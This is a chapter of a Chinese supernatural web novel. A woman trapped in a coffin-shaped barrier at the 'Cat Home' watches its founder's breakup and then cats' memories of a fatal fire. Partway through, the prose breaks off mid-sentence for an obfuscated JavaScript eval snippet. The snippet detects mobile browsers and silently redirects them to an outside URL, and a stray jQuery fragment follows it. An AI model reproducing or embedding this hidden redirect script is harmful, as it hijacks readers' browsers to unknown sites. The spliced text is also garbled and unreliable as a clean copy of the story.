仿若游历大人国一般,外面看起来只是一幅屏风画,身处其中就是真实的世界。
远处青山如黛,层层叠叠的山看不到尽头,像被虚化了;近处一栋栋房屋林立,大门处四个大字“猫咪之家”泛着柔和的光。
聂绮站在大门口,颇有礼貌地敲了敲大门上的圆环,才走了进去。
房屋被分成左右两部分,每一栋房子都不高,但建造的十分密集,似乎从来没考虑过采光。左边能听到不绝于耳的猫叫声,右边稍微安静一点,从外面都能看到很多木头、捆着的包裹摆放在外面。
中间是一条过道,两边树木茂盛,看起来十分阴凉。
聂绮站在过道入口处,熟悉感扑面而来。
她缓了缓脚步,刚走进去,就听到一个男人的声音。
“文竹!”一个男人突然出现在道路中央,“我不是这个意思,你别多想!”
聂绮避之不及,正在考虑自己露出什么表情。只见这男人往右边小跑几步,好像根本没看见她。
嗯?
聂绮往右一看,一个短发女人从右边而来,推着一个行李箱,赫然是谭文竹,一只小橘猫跟在她后面,追逐着往她腿上爬。
“这里不适合你,你走吧。我们分手。”谭文竹把行李箱一推,停在男人脚下,弯腰抱起小橘猫,摸摸橘猫下巴,头也不回地往左边走去。
“你为了它们和我分手?!你为什么一定要待在这里?”男人愤怒地拍了下行李箱,又甩甩手,将疼的手背在身后,“我们本来快要结婚了,你为什么一定要搞这个猫咪之家?”
谭文竹停住脚步,并未回头。
小橘猫仰起脑袋,舔了舔谭文竹的手。
“我从来没有反对过你做这件事情,流浪猫可怜,你可以给它们一个家,我们投资这点钱不成问题,我们可以献爱心,但是你为什么要一直在这里?”男人越说越愤怒,“你算过吗,自从你来到这里,你多久回一次市区?就为了这些猫,为了这些畜生,你看看你成什么样子了?!”
“罗岸然!”谭文竹转过来,她愤怒且悲伤,目光直视罗岸然,“我说了,你走。以后再也不要来。
小橘猫冲着罗岸然龇牙,低低吼了一声。谭文竹摸摸它的脊背,安抚着。
“文竹,好好过日子不好吗?”罗岸然软了语气,走到谭文竹面前,想摸摸橘猫的脑袋,却被橘猫呲一声,悻悻收回了手,“空闲时候我陪你来看看它们。还像以前一样……”
罗岸然试探着伸手去揽谭文竹的肩膀,被谭文竹一偏身躲过:“累了就出国玩玩,平常时候健身、赛车、逛街、画画,想干什么干什么,无聊了投资点小项目练手玩,这样的生活多好。”
“以前不都是这样吗?”罗岸然又憋不住火了,忍耐着没说后半句话。
你现在是在发什么疯?
“以前是以前,现在我想换一种方式生活。你不能接受我理解,所以我让你走。我们已经分手了。罗岸然,”谭文竹顿了一下,后退几步,“再见。”
说完,谭文竹不愿再看罗岸然的反应,踏入左边小路。怀中橘猫静静趴在她的怀中,轻轻“喵呜”一声,似是安慰。
罗岸然停在原地,恨恨跺脚,随后拉起行李箱,大步朝门口走去。
这二人从始至终似乎都没有看到聂绮。
“我难道是魂魄?”看完一场分手大戏的聂绮伸手捏捏自己的手腕,能捏住,手指并没有穿过手腕。
看来我不是鬼啊,难道是屏风里的世界有什么隐形规则?
聂绮看着谭文竹远去,索性无人看得见自己,拔腿就去追。
“嘭——”聂绮撞上透明结界,整个人软软地陷入一张弹性、柔韧性很强的透明膜中,像进入屏风时的触感,但是人并没有穿过透明膜,而是被轻轻一送,站在林道通往左边的入口处。
聂绮刚刚就是想从这个入口到左边的房屋中,但很遗憾,她没能过去。
谭文竹的身影早已看不见,聂绮站在入口处,那种熟悉感再度袭来。
她遗漏、忘记的到底是什么?
聂绮站在过道中间,两边树木茂盛林立,远处的路因绿树更显幽深,像一张随时会吞噬一切的巨口。
聂绮回身,朝着进来的方向往出走。
柔软的透明膜打破她的幻想,聂绮的手陷入结界之中,温柔却坚定地阻挡聂绮的前进。
她的来时路已封。
“有点意思。”聂绮仰头看了看太阳,日挂正中,她低声絮叨,“不会和平安高中的是一个太阳吧?”
聂绮伸出一只胳膊,从左边入口处开始,沿着林道往下走。
果不其然,她的手触碰到了那层透明膜。
聂绮走了一圈,越走心越凉,最后回到原点,一屁股坐在了过道入口处,仰头看天:“原来真的是一个太阳啊。”
结界以两边树木和过道起止为四条线,正好将聂绮框在了里面。
这样一个标准的长方形,正好验证了聂绮的猜想——这里是平安高中最初的模样,这个过道就是聂绮在平安高中消失的地方。
这个猜想一下子震悚了聂绮的心,她终于知道自己的熟悉感来自哪里了。
当她在平安高中的过道躺下的时候,六栋楼连成线成为一个长方形,比例恰似棺木,而现在,猫咪之家困住她的结界也是一个长方形,倘若细细想来,也正是一个棺木!
平安高中的棺木让聂绮进入了谭文竹的办公室,这里的棺木会把人带到哪里?
聂绮站起来,先跳高些看看左右两边的建筑。
平安高中是左右两边各三栋楼,猫咪之家左右两边的楼多低矮楼房,大多只有正常楼房三层高,建造规律性不强,新的旧的交叉在一起,可以看出来很多是后面加建的。
如果将所有的建筑铲平,猫咪之家和平安高中将重合。
“平安高中是在猫咪之家的旧址上重建的吧,竟然没有任何扩大和改变,虽然建筑不同,但是所有楼的边角都能对上。”聂绮自言自语,在这个近乎长方形盒子的过道里,聂绮像被关在里面的唯一活物。
这么看的话,在平安高中的过道上躺在哪里,在这里躺在哪里应该也可以。
聂绮左右看了一下,找到她当时在平安高中躺下的位置,却并没有立即
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813535|175360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躺下去——因为,谭文竹又出现了。
一场分手大戏结束,谭文竹再出现的时候,后面跟着一只黑色的猫,黑猫非常敏捷,像昂首的将军一样在保护着谭文竹。过一会儿出来一只狸花猫,嘴巴还咬着谭文竹抬着的包裹,仿佛自己也尽量一份力。
一只浑身有伤的田园猫趴在谭文竹的怀里,谭文竹脸色焦急地跑过聂绮身边时,聂绮能够看到她眼眶都红了。
聂绮站在这里,谭文竹像幻影般走马观花不停息地从过道处出现、消失,她的身后永远跟着一只猫。
谭文竹在聂绮面前肉眼可见地变老,因操劳过多也不复初见时的精致,她的神态越来越柔和,头上甚至出现了白发,但是她看起来远远不到长出白发的年纪。
这里的时间流速显然不是正常的,更像是片段式的回忆。
谭文竹搬动新做好的猫爬架,两只猫跟在她身边摇着尾巴。
谭文竹生病了有些虚弱,一只猫竟然叼着感冒药在她脚边跟着走。
六只猫一起跑,围在中间的谭文竹手里拿着一盆荆芥。
…………
“不对!”聂绮猛然睁大眼睛,在来来往往的谭文竹和猫中终于意识到,“这不是谭文竹的记忆,这是猫的记忆!”
如果这是谭文竹的记忆的话,不会这么零散,正是因为这是猫的记忆,甚至是很多猫的记忆,才会这么零碎,才会是这么多的片段。
太阳挂在正中,明明应该把人照得暖融融的,聂绮却有些浑身发凉。
平安高中的棺木让她到了谭文竹的办公室,里面有谭文竹的剪纸,说明那个棺木里躺着的应该是谭文竹,或者说,是它们希望躺着的谭文竹。那么这里呢,如果这里的棺木中全是猫的记忆,棺木中躺着的——是很多猫吗?
聂绮从来没有忘记,这是一个副本,这里有恩怨、有杀戮、有复仇,那肯定也有不甘、有愤恨,有很多曾经发生过的但聂绮并不知道的事情。
平安高中曾经发生过什么?
聂绮闭眼,片刻后缓缓睁开,躺了下去。
熟悉的控制感来临,聂绮发现自己动不了了,过道中忽起狂风,两边树木被吹得东摇西晃,聂绮压住自己想要反抗动弹的心,任狂风发作吹过她的身体,任顷刻间落下的大雨浇透她,只把自己想象成一只猫,试着去呼吸,寻找狂风暴雨中其他生物的呼吸。
“喵呜——”
“喵呜——”
一声声猫叫出现,从凌厉、凄苦、尖锐、狂躁到一声声痛苦的哀嚎。
聂绮看到了,是一场大火。
她仍然躺着,但是她看到了,是一场大火席卷而来,火苗吞噬了道路两旁的树木,吞噬了房屋中健康的、受伤的、活泼的、安静的猫们,也吞噬了已经死亡了的谭文竹。
她躺在她的办公室里,血在她的身下蜿蜒流出,浸染了地上的白纸。
她已经没有了呼吸,也就没有听到她爱之如生命的猫们在烈焰中的哀嚎,没有看到哪怕毛皮着火也在拼尽全力朝她办公室奔来的猫,没有看到橘猫和狸花抬起爪子时留下的血泪。
它们想,幸好她没有看到。